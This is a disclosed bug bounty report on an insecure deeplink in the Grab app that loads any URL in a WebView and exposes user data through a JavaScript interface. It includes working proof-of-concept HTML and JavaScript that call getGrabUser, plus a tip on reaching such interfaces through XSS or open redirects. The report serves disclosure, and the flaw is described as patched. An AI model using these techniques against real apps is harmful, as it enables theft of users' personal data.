[Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure

Summary

A deeplink feature was found missing validation that led to sensitive information disclosure. Once triggered, the deeplink would direct users to load any attacker-controlled URL within a webview. The impact was further escalated as the webview contain sensitive information. A temporary patch was distributed shortly after the submission was verified and a permanent patch was released and completely rolled out soon after.

Grab appreciate @bagipro's contribution to our bug bounty program, @bagipro displayed strong mobile offensive security skills and detailed report which allowed us to quickly reproduce and validate the submission. As a mobile-first company, mobile security is our utmost focus, Grab look forward to seeing more of his creative bug reports to our program.

I've found a set of possible deeplinks, one of them (HELPCENTER) could lead that an arbtrary URL was opened in a built-in browser in activity com.grab.pax.support.ZendeskSupportActivity using that code (should be used in an external browser/messenger)

<!DOCTYPE html>
<html>
<head><title>Page 1</title></head>
<body style="text-align: center;">
    <h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1>
</body>
</html>

But the WebView had an interesting setting

        mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");

with method

        @android.webkit.JavascriptInterface
        public final java.lang.String getGrabUser() {
            //...
            return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
        }

I tested my code which forced Grab Passenger app to load https://s3.amazonaws.com/edited/page2.html page with HTML

<!DOCTYPE html>
<html>
<head><title>Page 2</title></head>
<body style="text-align: center;">
    <script type="text/javascript">
        var data;
        if(window.Android) { // Android
            data = window.Android.getGrabUser();
        }
        else if(window.grabUser) { // iOS
            data = JSON.stringify(window.grabUser);
        }

        if(data) {
            document.write("Stolen data: " + data);
        }
    </script>
</body>
</html>

I didn't reverse iOS app, but only opened https://help.grab.com/, grepped for getGrabUser and found

    public static initGrabUser() {
        if (Utils.Condition.isIOSApp()) {
            Stores.GrabUser.setGrabUser(window.grabUser);
        }

        if (Utils.Condition.isAndroidApp()) {
            Stores.GrabUser.setGrabUser(JSON.parse(Android.getGrabUser()));
        }
    }

It helped me to realize how to exploit iOS too :)

Tips: JS interfaces (on both platforms) have no origin policies, so if you have the ability to make an Open Redirect or XSS (i.e. run your own JS in the given WebView), it means you can access them!